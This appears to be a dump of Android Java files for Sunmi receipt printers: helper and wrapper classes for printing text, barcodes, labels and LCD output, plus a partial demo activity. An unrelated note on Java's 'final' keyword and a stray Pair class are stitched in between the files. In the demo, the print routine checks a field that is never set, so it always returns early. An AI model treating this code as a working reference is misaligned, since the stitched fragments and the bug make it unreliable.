 *      http://sunmi-ota.oss-cn-hangzhou.aliyuncs.com/DOC/resource/re_cn/Sunmiprinter%E5%BC%80%E5%8F%91%E8%80%85%E6%96%87%E6%A1%A31.1.191128.pdf
 *  </pre>
 *
 * @author kaltin
 * @since create at 2020-02-14
 */
public class SunmiPrintHelper {

    public static int NoSunmiPrinter = 0x00000000;
    public static int CheckSunmiPrinter = 0x00000001;
    public static int FoundSunmiPrinter = 0x00000002;
    public static int LostSunmiPrinter = 0x00000003;
    private Context context;
    private List<String> list = new ArrayList<>();
    private static String KEY_DEBUG = KEY_TECHNIQUE_1;

    /**
     * sunmiPrinter means checking the printer connection status
     */
    public int sunmiPrinter = CheckSunmiPrinter;
    /**
     * SunmiPrinterService for API
     */
    private SunmiPrinterService sunmiPrinterService;

    private static SunmiPrintHelper helper = new SunmiPrintHelper();

    private SunmiPrintHelper() {
    }

    public static SunmiPrintHelper getInstance() {
        return helper;
    }

    private InnerPrinterCallback innerPrinterCallback = new InnerPrinterCallback() {
        @Override
        protected void onConnected(SunmiPrinterService service) {
            sunmiPrinterService = service;
            checkSunmiPrinterService(service);

            list = Hawk.get(KEY_DEBUG, new ArrayList<>());
            String mess = "\nSunmiPrinterService: " + "onConnected() " + service.toString() + "\n";
            list.add(mess);
            Hawk.put(KEY_DEBUG, list);
        }

        @Override
        protected void onDisconnected() {
            sunmiPrinterService = null;
            sunmiPrinter = LostSunmiPrinter;

            list = Hawk.get(KEY_DEBUG, new ArrayList<>());
            String mess = "\nSunmiPrinterService: " + "onDisconnected() \n";
            list.add(mess);
            Hawk.put(KEY_DEBUG, list);
        }
    };

    /**
     * init sunmi print service
     */
    public void initSunmiPrinterService(Context context) {
        this.context = context;
        try {
            boolean ret = InnerPrinterManager.getInstance().bindService(context,
                    innerPrinterCallback);
            if (!ret) {
                sunmiPrinter = NoSunmiPrinter;
            }

            list = Hawk.get(KEY_DEBUG, new ArrayList<>());
            String mess = "\nINNER PRINTER BindService: " + ret + "\n";
            list.add(mess);
            Hawk.put(KEY_DEBUG, list);
        } catch (InnerPrinterException e) {
            e.printStackTrace();

            String mess = "\nINNER PRINTER: " + "Catch Block!!!\n";
            list.add(mess);
            Toast.makeText(context, mess, Toast.LENGTH_SHORT).show();
            Hawk.put(KEY_DEBUG, list);
        }
    }

    /**
     * Initialize the printer
     * All style settings will be restored to default
     */
    public void initPrinter() {
        list = Hawk.get(KEY_DEBUG, new ArrayList<>());
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            String mess = "\nPRINTER STYLE Service: " + "NULL\n";
            list.add(mess);
            Hawk.put(KEY_DEBUG, list);
            return;
        }
        try {
            sunmiPrinterService.printerInit(null);
            String mess = "\nPRINTER STYLE Service: " + "NOT NULL\n";
            list.add(mess);
            Hawk.put(KEY_DEBUG, list);
        } catch (RemoteException e) {
            handleRemoteException(e);
            Toast.makeText(context, "PRINTER STYLE : Catch Block", Toast.LENGTH_SHORT).show();
        }
    }

    /**
     * deInit sunmi print service
     */
    public void deInitSunmiPrinterService(Context context) {
        try {
            if (sunmiPrinterService != null) {
                InnerPrinterManager.getInstance().unBindService(context, innerPrinterCallback);
                sunmiPrinterService = null;
                sunmiPrinter = LostSunmiPrinter;
            }
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }
    }

    /**
     * Sample print receipt
     */
    public void printExample(Context context) {
        String message;
        list = Hawk.get(KEY_DEBUG, new ArrayList<>());
        if (sunmiPrinterService == null) {
            message = "\n" + KEY_DEBUG + " Example Service: " + "NULL";
            list.add(list.size() - 1, message);
            Hawk.put(KEY_DEBUG, list);
            return;
        }

        message = "\n" + KEY_DEBUG + " Example Service: " + sunmiPrinterService;
        if (list.get(list.size() - 1).contains("Techni"))
            list.remove(list.size() - 1);
        list.add(message);
        Hawk.put(KEY_DEBUG, list);
        try {
            sunmiPrinterService.printerInit(null);

            sunmiPrinterService.setAlignment(1, null);
            sunmiPrinterService.printText("\n--------------------------------\n", null);
            sunmiPrinterService.printTextWithFont(KEY_DEBUG + "!!! \n", null, 28, null);
            sunmiPrinterService.setFontSize(20, null);
            sunmiPrinterService.printText("--------------------------------\n", null);
            for (String item : list) {
                sunmiPrinterService.printText(item + "\n", null);
            }
            sunmiPrinterService.printText("--------------------------------\n", null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Check the printer connection,
     * like some devices do not have a printer but need to be connected to the cash drawer through a print service
     */
    private void checkSunmiPrinterService(SunmiPrinterService service) {
        boolean ret = false;
        try {
            ret = InnerPrinterManager.getInstance().hasPrinter(service);
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }
        sunmiPrinter = ret ? FoundSunmiPrinter : NoSunmiPrinter;
    }

    /**
     * Some conditions can cause interface calls to fail
     * For example: the version is too low、device does not support
     * You can see {@link ExceptionConst}
     * So you have to handle these exceptions
     */
    private void handleRemoteException(RemoteException e) {
        //TODO process when get one exception
    }

    /**
     * send esc cmd
     */
    public void sendRawData(byte[] data) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.sendRAWData(data, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Printer cuts paper and throws exception on machines without a cutter
     */
    public void cutpaper() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.cutPaper(null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * paper feed three lines
     * Not disabled when line spacing is set to 0
     */
    public void print3Line() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.lineWrap(3, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Get printer serial number
     */
    public String getPrinterSerialNo() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return "";
        }
        try {
            return sunmiPrinterService.getPrinterSerialNo();
        } catch (RemoteException e) {
            handleRemoteException(e);
            return "";
        }
    }

    /**
     * Get device model
     */
    public String getDeviceModel() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return "";
        }
        try {
            return sunmiPrinterService.getPrinterModal();
        } catch (RemoteException e) {
            handleRemoteException(e);
            return "";
        }
    }

    /**
     * Get firmware version
     */
    public String getPrinterVersion() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return "";
        }
        try {
            return sunmiPrinterService.getPrinterVersion();
        } catch (RemoteException e) {
            handleRemoteException(e);
            return "";
        }
    }

    /**
     * Get paper specifications
     */
    public String getPrinterPaper() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return "";
        }
        try {
            return sunmiPrinterService.getPrinterPaper() == 1 ? "58mm" : "80mm";
        } catch (RemoteException e) {
            handleRemoteException(e);
            return "";
        }
    }

    /**
     * Get paper specifications
     */
    public void getPrinterHead(InnerResultCallback callbcak) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.getPrinterFactory(callbcak);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Get printing distance since boot
     * Get printing distance through interface callback since 1.0.8(printerlibrary)
     */
    public void getPrinterDistance(InnerResultCallback callback) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.getPrintedLength(callback);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Set printer alignment
     */
    public void setAlign(int align) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.setAlignment(align, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Due to the distance between the paper hatch and the print head,
     * the paper needs to be fed out automatically
     * But if the Api does not support it, it will be replaced by printing three lines
     */
    public void feedPaper() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.autoOutPaper(null);
        } catch (RemoteException e) {
            print3Line();
        }
    }

    /**
     * print text
     * setPrinterStyle:Api require V4.2.22 or later, So use esc cmd instead when not supported
     * More settings reference documentation {@link WoyouConsts}
     * printTextWithFont:
     * Custom fonts require V4.14.0 or later!
     * You can put the custom font in the 'assets' directory and Specify the font name parameters
     * in the Api.
     */
    public void printText(String content, float size, boolean isBold, boolean isUnderLine,
                          String typeface) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            try {
                sunmiPrinterService.setPrinterStyle(WoyouConsts.ENABLE_BOLD, isBold ?
                        WoyouConsts.ENABLE : WoyouConsts.DISABLE);
            } catch (RemoteException e) {
                if (isBold) {
                    sunmiPrinterService.sendRAWData(ESCUtil.boldOn(), null);
                } else {
                    sunmiPrinterService.sendRAWData(ESCUtil.boldOff(), null);
                }
            }
            try {
                sunmiPrinterService.setPrinterStyle(WoyouConsts.ENABLE_UNDERLINE, isUnderLine ?
                        WoyouConsts.ENABLE : WoyouConsts.DISABLE);
            } catch (RemoteException e) {
                if (isUnderLine) {
                    sunmiPrinterService.sendRAWData(ESCUtil.underlineWithOneDotWidthOn(), null);
                } else {
                    sunmiPrinterService.sendRAWData(ESCUtil.underlineOff(), null);
                }
            }
            sunmiPrinterService.printTextWithFont(content, typeface, size, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }

    }

    /**
     * print Bar Code
     */
    public void printBarCode(String data, int symbology, int height, int width, int textposition) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.printBarCode(data, symbology, height, width, textposition, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * print Qr Code
     */
    public void printQr(String data, int modulesize, int errorlevel) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.printQRCode(data, modulesize, errorlevel, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Print a row of a table
     */
    public void printTable(String[] txts, int[] width, int[] align) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.printColumnsString(txts, width, align, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Print pictures and text in the specified orde
     * After the picture is printed,
     * the line feed output needs to be called,
     * otherwise it will be saved in the cache
     * In this example, the image will be printed because the print text content is added
     */
    public void printBitmap(Bitmap bitmap, int orientation) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            if (orientation == 0) {
                sunmiPrinterService.printBitmap(bitmap, null);
                sunmiPrinterService.printText("横向排列\n", null);
                sunmiPrinterService.printBitmap(bitmap, null);
                sunmiPrinterService.printText("横向排列\n", null);
            } else {
                sunmiPrinterService.printBitmap(bitmap, null);
                sunmiPrinterService.printText("\n纵向排列\n", null);
                sunmiPrinterService.printBitmap(bitmap, null);
                sunmiPrinterService.printText("\n纵向排列\n", null);
            }
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Gets whether the current printer is in black mark mode
     */
    public boolean isBlackLabelMode() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return false;
        }
        try {
            return sunmiPrinterService.getPrinterMode() == 1;
        } catch (RemoteException e) {
            return false;
        }
    }

    /**
     * Gets whether the current printer is in label-printing mode
     */
    public boolean isLabelMode() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return false;
        }
        try {
            return sunmiPrinterService.getPrinterMode() == 2;
        } catch (RemoteException e) {
            return false;
        }
    }

    /**
     * Transaction printing:
     * enter->print->exit(get result) or
     * enter->first print->commit(get result)->twice print->commit(get result)->exit(don't care
     * result)
     */
    public void printTrans(Context context, InnerResultCallback callbcak) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.enterPrinterBuffer(true);
            printExample(context);
            sunmiPrinterService.exitPrinterBufferWithCallback(true, callbcak);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Open cash box
     * This method can be used on Sunmi devices with a cash drawer interface
     * If there is no cash box (such as V1、P1) or the call fails, an exception will be thrown
     * <p>
     * Reference to https://docs.sunmi.com/general-function-modules/external-device-debug/cash-box-driver/}
     */
    public void openCashBox() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.openDrawer(null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * LCD screen control
     *
     * @param flag 1 —— Initialization
     *             2 —— Light up screen
     *             3 —— Extinguish screen
     *             4 —— Clear screen contents
     */
    public void controlLcd(int flag) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.sendLCDCommand(flag);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Display text SUNMI,font size is 16 and format is fill
     * sendLCDFillString(txt, size, fill, callback)
     * Since the screen pixel height is 40, the font should not exceed 40
     */
    public void sendTextToLcd() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.sendLCDFillString("SUNMI", 16, true, new InnerLcdCallback() {
                @Override
                public void onRunResult(boolean show) throws RemoteException {
                    //TODO handle result
                }
            });
        } catch (RemoteException e) {
            e.printStackTrace();
        }

    }

    /**
     * Display two lines and one empty line in the middle
     */
    public void sendTextsToLcd() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            String[] texts = {"SUNMI", null, "SUNMI"};
            int[] align = {2, 1, 2};
            sunmiPrinterService.sendLCDMultiString(texts, align, new InnerLcdCallback() {
                @Override
                public void onRunResult(boolean show) throws RemoteException {
                    //TODO handle result
                }
            });
        } catch (RemoteException e) {
            e.printStackTrace();
        }

    }

    /**
     * Display one 128x40 pixels and opaque picture
     */
    public void sendPicToLcd(Bitmap pic) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }

        try {
            sunmiPrinterService.sendLCDBitmap(pic, new InnerLcdCallback() {
                @Override
                public void onRunResult(boolean show) throws RemoteException {
                    //TODO handle result
                }
            });
        } catch (RemoteException e) {
            e.printStackTrace();
        }

    }

    /**
     * Used to report the real-time query status of the printer, which can be used before each
     * printing
     */
    public void showPrinterStatus(Context context) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        String result = "Interface is too low to implement interface";
        try {
            int res = sunmiPrinterService.updatePrinterState();
            switch (res) {
                case 1:
                    result = "printer is running";
                    break;
                case 2:
                    result = "printer found but still initializing";
                    break;
                case 3:
                    result = "printer hardware interface is abnormal and needs to be reprinted";
                    break;
                case 4:
                    result = "printer is out of paper";
                    break;
                case 5:
                    result = "printer is overheating";
                    break;
                case 6:
                    result = "printer's cover is not closed";
                    break;
                case 7:
                    result = "printer's cutter is abnormal";
                    break;
                case 8:
                    result = "printer's cutter is normal";
                    break;
                case 9:
                    result = "not found black mark paper";
                    break;
                case 505:
                    result = "printer does not exist";
                    break;
                default:
                    break;
            }
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        Toast.makeText(context, result, Toast.LENGTH_LONG).show();
    }

    /**
     * Demo printing a label
     * After printing one label, in order to facilitate the user to tear the paper, call
     * labelOutput to push the label paper out of the paper hatch
     * 演示打印一张标签
     * 打印单张标签后为了方便用户撕纸可调用labelOutput,将标签纸推出纸舱口
     */
    public void printOneLabel() {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            sunmiPrinterService.labelLocate();
            printLabelContent();
            sunmiPrinterService.labelOutput();
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Demo printing multi label
     * <p>
     * After printing multiple labels, choose whether to push the label paper to the paper hatch according to the needs
     * 演示打印多张标签
     * 打印多张标签后根据需求选择是否推出标签纸到纸舱口
     */
    public void printMultiLabel(int num) {
        if (sunmiPrinterService == null) {
            //TODO Service disconnection processing
            return;
        }
        try {
            for (int i = 0; i < num; i++) {
                sunmiPrinterService.labelLocate();
                printLabelContent();
            }
            sunmiPrinterService.labelOutput();
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * Custom label ticket content
     * In the example, not all labels can be applied. In actual use, please pay attention to adapting the size of the label. You can adjust the font size and content position.
     * 自定义的标签小票内容
     * 例子中并不能适用所有标签纸,实际使用时注意要自适配标签纸大小,可通过调节字体大小,内容位置等方式
     */
    private void printLabelContent() throws RemoteException {
        sunmiPrinterService.setPrinterStyle(WoyouConsts.ENABLE_BOLD, WoyouConsts.ENABLE);
        sunmiPrinterService.lineWrap(1, null);
        sunmiPrinterService.setAlignment(0, null);
        sunmiPrinterService.printText("商品         豆浆\n", null);
        sunmiPrinterService.printText("到期时间         12-13  14时\n", null);
        sunmiPrinterService.printBarCode("{C1234567890123456", 8, 90, 2, 2, null);
        sunmiPrinterService.lineWrap(1, null);
    }
}
Final is used to apply restrictions on class, method, and variable.
The final class can't be inherited, final method can't be overridden,
and final variable value can't be changed. Final is a keyword
class Pair{
    public int first;  
    public int second; 
    public Pair(int first, int second){
        this.first = first;
        this.second = second;
    }
}
package com.sunmi.printerhelper.utils;

import android.content.Context;
import android.os.RemoteException;
import android.util.Log;

import com.sunmi.peripheral.printer.ExceptionConst;
import com.sunmi.peripheral.printer.InnerPrinterCallback;
import com.sunmi.peripheral.printer.InnerPrinterException;
import com.sunmi.peripheral.printer.InnerPrinterManager;
import com.sunmi.peripheral.printer.SunmiPrinterService;
import com.sunmi.peripheral.printer.WoyouConsts;

/**
 * @author M. Ali Biag
 * @since create at Wednesday, August 10, 2022
 */
public class SunmiPrinter {
    public static String TAG = "SunmiPrinter";

    public enum ALIGNMENT {LEFT, CENTER, RIGHT}

    private static final SunmiPrinter printer = new SunmiPrinter();

    private SunmiPrinter() {
    }

    public static SunmiPrinter instance() {
        return printer;
    }

    /**
     * SunmiPrinterService  is an interface
     * It contain all the Printer API (Functionalities)
     * <p>
     * InnerPrinterCallback gives us the implementation of
     * SunmiPrinterService interface
     */
    private SunmiPrinterService sunmiPrinterService;
    private final InnerPrinterCallback innerPrinterCallback = new InnerPrinterCallback() {
        @Override
        protected void onConnected(SunmiPrinterService service) {
            sunmiPrinterService = service;
        }

        @Override
        protected void onDisconnected() {
            sunmiPrinterService = null;
        }
    };

    /**
     * Check {@link ExceptionConst}
     */
    private void handleRemoteException(RemoteException e) {
        Log.e(TAG, "ERROR FROM SUNMI PRINTER CUSTOM IMPLEMENTATION: " + e.getMessage());
    }


    /**
     * Establish link with Sunmi Printer.
     * NOTE:
     * If you do not call this method then
     * SunmiPrinterService will be null
     * and you will not be able to access any
     * functionality of printer
     */
    public void connectWithSunmiPrinter(Context context) {
        try {
            boolean ret = InnerPrinterManager.getInstance().bindService(context,
                    innerPrinterCallback);
            if (!ret) {
                // Connection not established
            }
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }
    }

    /**
     * Disconnect from Sunmi printer from device
     * and release resources
     */
    public void disconnectFromSunmiPrinter(Context context) {
        try {
            if (sunmiPrinterService != null) {
                InnerPrinterManager.getInstance().unBindService(context, innerPrinterCallback);
                sunmiPrinterService = null;
            }
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }
    }

    /**
     * All style settings will be restored to default
     */
    public void setPrinterToDefaultStyle() {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }
        try {
            sunmiPrinterService.printerInit(null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * send esc cmd
     */
    public void sendRawData(byte[] data) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter();
            return;
        }
        try {
            sunmiPrinterService.sendRAWData(data, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Set printer alignment
     */
    public void setAlignment(ALIGNMENT align) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }
        try {
            sunmiPrinterService.setAlignment(align.ordinal(), null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    public void setFontSize(float fontSize) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }
        try {
            sunmiPrinterService.setFontSize(fontSize, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * @param text text you want to print
     */
    public void printText(String text) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.printText(text, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * @param boldText After printing given text bold feature will be off.
     */
    public void printTextBold(String boldText) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.sendRAWData(ESCUtil.boldOn(), null);
            sunmiPrinterService.printText(boldText, null);
            sunmiPrinterService.sendRAWData(ESCUtil.boldOff(), null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    public void printTextInCenter(String centerText) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.setAlignment(ALIGNMENT.CENTER.ordinal(), null);
            sunmiPrinterService.printText(centerText, null);
            sunmiPrinterService.setAlignment(ALIGNMENT.LEFT.ordinal(), null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    /**
     * @param leftText  will be Left Align
     * @param rightText will be Right Align
     */
    public void printTextLeftRight(String leftText, String rightText) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        String[] txts = new String[]{leftText, rightText};
        int[] width = new int[]{1, 1};
        int[] align = new int[]{0, 2};

        try {
            sunmiPrinterService.printColumnsString(txts, width, align, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    public void printTextFontSize(String text, float fontSize) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.printTextWithFont(text, null, fontSize, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    public void printOneLine() {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.lineWrap(1, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * paper feed three lines
     * Not disabled when line spacing is set to 0
     */
    public void print3Line() {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.lineWrap(3, null);
        } catch (RemoteException e) {
            handleRemoteException(e);
        }
    }

    /**
     * Print dashes on one complete line
     * Handle both 58mm and 80mm paper
     */
    public void dashesPlusNextLine() {
        try {
            int paper = sunmiPrinterService.getPrinterPaper();
            if (paper == 1) {
                // 32 Dashes = 58mm
                sunmiPrinterService.printText("--------------------------------\n", null);
            } else {
                // 48 Dashes = 80mm
                sunmiPrinterService.printText("------------------------------------------------\n",
                        null);
            }
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    public String getPaperSize() {
        String result = "Unknown";
        try {
            int paper = sunmiPrinterService.getPrinterPaper();
            if (paper == 1) {
                result = "58mm";
            } else {
                result = "80mm";
            }
        } catch (RemoteException e) {
            e.printStackTrace();
        }

        return result;
    }

    /**
     * print Qr Code
     */
    public void printQr(String data, int modulesize, int errorlevel) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            sunmiPrinterService.printQRCode(data, modulesize, errorlevel, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }


    /**
     * print text
     * setPrinterStyle:Api require V4.2.22 or later, So use esc cmd instead when not supported
     * More settings reference documentation {@link WoyouConsts}
     * printTextWithFont:
     * Custom fonts require V4.14.0 or later!
     * You can put the custom font in the 'assets' directory and Specify the font name parameters
     * in the Api.
     */
    public void printText(String content, float size, boolean isBold, boolean isUnderLine,
                          String typeface) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return;
        }

        try {
            try {
                sunmiPrinterService.setPrinterStyle(WoyouConsts.ENABLE_BOLD, isBold ?
                        WoyouConsts.ENABLE : WoyouConsts.DISABLE);
            } catch (RemoteException e) {
                if (isBold) {
                    sunmiPrinterService.sendRAWData(ESCUtil.boldOn(), null);
                } else {
                    sunmiPrinterService.sendRAWData(ESCUtil.boldOff(), null);
                }
            }
            try {
                sunmiPrinterService.setPrinterStyle(WoyouConsts.ENABLE_UNDERLINE, isUnderLine ?
                        WoyouConsts.ENABLE : WoyouConsts.DISABLE);
            } catch (RemoteException e) {
                if (isUnderLine) {
                    sunmiPrinterService.sendRAWData(ESCUtil.underlineWithOneDotWidthOn(), null);
                } else {
                    sunmiPrinterService.sendRAWData(ESCUtil.underlineOff(), null);
                }
            }
            sunmiPrinterService.printTextWithFont(content, typeface, size, null);
        } catch (RemoteException e) {
            e.printStackTrace();
        }

    }


    public boolean doesPrinterExist(Context context) {
        if (sunmiPrinterService == null) {
            // disconnectFromSunmiPrinter()
            return false;
        }
        boolean result = false;
        try {
            int code = sunmiPrinterService.updatePrinterState();
            if (code > 0 && code < 505) {
                // "Printer exist"
                result = true;
            } else {
                // "Printer does not exist"
                result = false;
            }
        } catch (RemoteException e) {
            e.printStackTrace();
        }

        return result;
    }
}
package com.sunmi.printerhelper.activity;

import android.os.Bundle;
import android.os.Handler;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

import androidx.annotation.Nullable;

import com.sunmi.peripheral.printer.SunmiPrinterService;
import com.sunmi.printerhelper.R;
import com.sunmi.printerhelper.utils.BluetoothUtil;
import com.sunmi.printerhelper.utils.SunmiPrinter;

public class SimpleActivity extends BaseActivity implements View.OnClickListener {
    SunmiPrinterService sunmiPrinter;
    SunmiPrinter printer;

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        printer = SunmiPrinter.instance();
        printer.connectWithSunmiPrinter(this);

        setContentView(R.layout.activity_simple);
        setMyTitle("Simple Activity");


        TextView printerInfoTV = findViewById(R.id.tv_yes);
        TextView paperTV = findViewById(R.id.tv_paper);

        boolean res = printer.doesPrinterExist(this);
        String paperSize =  printer.getPaperSize();

        if(res) printerInfoTV.setText("YES"); else printerInfoTV.setText("NO");
        paperTV.setText(paperSize);

        checkAfter2000m();

        Button simpleBut = findViewById(R.id.btn_simple);
        Button exampleBut = findViewById(R.id.btn_example);
        Button reportBut = findViewById(R.id.btn_report);

        simpleBut.setOnClickListener(this);
        exampleBut.setOnClickListener(this);
        reportBut.setOnClickListener(this);

    }

    private void setPrinterInfo(){
        TextView printerInfoTV = findViewById(R.id.tv_yes_2);
        TextView paperTV = findViewById(R.id.tv_paper_2);

        boolean res = printer.doesPrinterExist(this);
        String paperSize =  printer.getPaperSize();

        if(res) printerInfoTV.setText("YES"); else printerInfoTV.setText("NO");
        paperTV.setText(paperSize);
    }

    private void checkAfter2000m() {
        Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                setPrinterInfo();
            }
        }, 2000);
    }

    @Override
    public void onClick(View view) {
        switch (view.getId()) {
            case R.id.btn_simple:
                Toast.makeText(this, "Print Simple Example Clicked ", Toast.LENGTH_SHORT).show();
                onSimpleButtonClicked();
                break;
            case R.id.btn_example:
                Toast.makeText(this, "Print Complex Example Clicked", Toast.LENGTH_LONG).show();
                // onComplexButtonClicked();
                break;
            case R.id.btn_report:
                Toast.makeText(this, "Print Simply Report Clicked ", Toast.LENGTH_SHORT).show();
                // onSimplyReportButtonClicked();
                break;
        }

    }


    public void onSimpleButtonClicked() {
        if (sunmiPrinter == null) {
            Toast.makeText(this, "SunmiPrinter is Null SIMPLE BUTTON!!!!", Toast.LENGTH_SHORT).show();
            return;
        }

        Toast.makeText(this, "SunmiPrinter is NOT null!!!", Toast.LENGTH_SHORT).show();

        printer.printText("Start of Sample");
        printer.printTextLeftRight("LEFT", "RIGHT");
        printer.printText("Alignment should be normal");

        printer.printTextInCenter("CENTER\n");
        printer.printText("Alignment should be normal\n");

        // sunmiPrinter.sendRAWData(ESCUtil.boldOn(), null);
        // sunmiPrinter.printText("Bold Feature is ON\n", null);
        // sunmiPrinter.sendRAWData(ESCUtil.boldOff(), null);
        printer.printTextBold("This Text Should be bold!!!\n");
        printer.printText("Text should not be bold\n");


        printer.dashesPlusNextLine();
        printer.printText("This is default Font Size\n");
        printer.setFontSize(16f);
        printer.printText("This is 16 Font Size\n");
        printer.setFontSize(32f);
        printer.printText("This is 32 Font Size\n");
        printer.setFontSize(16f);
        printer.printText("This is again 16 Font Size\n");

        printer.dashesPlusNextLine();
        printer.printTextFontSize("Font Size is increased to 30\n", 30f);
        printer.printText("Does Font Size return to normal\n");
        printer.setFontSize(16f);
        printer.printText("Font Size must be normal\n");
        printer.dashesPlusNextLine();

        //sunmiPrinter.printText("FONT size is increased to 40\n", null);
        //sunmiPrinter.printTextWithFont("ITEM:           MEET", null, 40, null);
        //sunmiPrinter.printTextWithFont("PRICE:          $59\b", null, 40, null);
        //sunmiPrinter.setFontSize(36, null);

        printer.setAlignment(SunmiPrinter.ALIGNMENT.CENTER);
        printer.printTextFontSize("END OF PRINT", 40f);
        printer.setAlignment(SunmiPrinter.ALIGNMENT.LEFT);
        printer.print3Line();

    }

    private void onComplexButtonClicked() {
        if (!BluetoothUtil.isBlueToothPrinter) {
            // SunmiPrinter.instance().printExample(this);
        } else {
            Toast.makeText(this, "Is Bluetooth is on ???", Toast.LENGTH_SHORT).show();
        }
    }

    /*private void onSimplyReportButtonClicked() {
        if (sunmiPrinter == null) {
            Toast.makeText(this, "SunmiPrinter is Null REPORT!!!!", Toast.LENGTH_SHORT).show();
            return;
